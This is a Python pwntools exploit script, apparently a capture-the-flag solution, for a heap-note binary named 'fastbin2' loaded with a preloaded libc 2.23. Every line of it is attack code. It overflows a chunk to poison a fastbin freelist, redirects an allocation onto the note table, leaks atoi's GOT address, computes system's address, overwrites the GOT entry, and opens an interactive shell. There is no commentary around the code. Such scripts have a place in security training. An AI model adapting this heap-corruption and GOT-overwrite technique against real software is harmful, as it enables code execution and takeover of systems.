from pwn import *
p = process('./fastbin2', env = {"LD_PRELOAD":"./libc6_2.23-0ubuntu10_amd64.so"})
gdb.attach(p)
table = p64(0x60201d)
#To add a note
atoi_got = p64(0x0000000000601ff0)

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('0')
p.recvuntil('Enter size: ')
p.sendline("100")
p.sendline("aaaaAAAA")

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('1')
p.recvuntil('Enter size: ')
p.sendline("100")
p.sendline("aaaaAAAA")

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('2')
p.recvuntil('Enter size: ')
p.sendline("100")
p.sendline("aaaaAAAA")

p.recvuntil('Enter choice >> ')
p.sendline('4')
p.recvuntil('Enter index :')
p.sendline('2')

p.recvuntil('Enter choice >> ')
p.sendline('4')
p.recvuntil('Enter index :')
p.sendline('1')

p.recvuntil('Enter choice >> ')
p.sendline('2')
p.recvuntil('Enter index :')
p.sendline('0')
exp = "a"*0x68 + p64(0x71) + table
p.sendline(exp)

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('1')
p.recvuntil('Enter size: ')
p.sendline("100")
p.sendline("aaaaAAAA")

p.recvuntil('Enter choice >> ')
p.sendline('1')
p.recvuntil('Enter index :')
p.sendline('2')
p.recvuntil('Enter size: ')
p.sendline("100")
p.sendline("aaaaaaaa")

p.recvuntil('Enter choice >> ')
p.sendline('2')
p.recvuntil('Enter index :')
p.sendline('2')
exp = "a"*0x13 + atoi_got
p.sendline(exp)

p.recvuntil('Enter choice >> ')
p.sendline('3')
p.recvuntil('Enter index :')
p.sendline('0')
p.recvuntil("Data: ")
leak = u64(p.recvline().strip()+"\x00\x00")
print hex(leak)

system = leak + 0xe510

print hex(system)

p.recvuntil('Enter choice >> ')
p.sendline('2')
p.recvuntil('Enter index :')
p.sendline('0')
exp = p64(system) + "aaaa"
p.sendline(exp)

p.interactive()
